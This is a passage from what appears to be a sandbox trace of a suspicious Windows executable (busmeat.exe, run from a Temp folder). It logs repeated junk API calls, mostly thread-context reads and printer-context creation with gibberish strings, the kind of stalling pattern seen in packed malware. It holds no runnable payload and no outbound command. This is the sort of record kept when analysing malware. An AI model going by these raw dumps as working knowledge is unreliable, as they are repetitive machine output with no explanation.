[94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.114] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.115] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.115] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.115] GetConsoleCP () returned 0x0
	[0066.115] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.115] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.116] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.116] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.116] GetConsoleCP () returned 0x0
	[0066.116] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.116] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.117] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.117] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.117] GetConsoleCP () returned 0x0
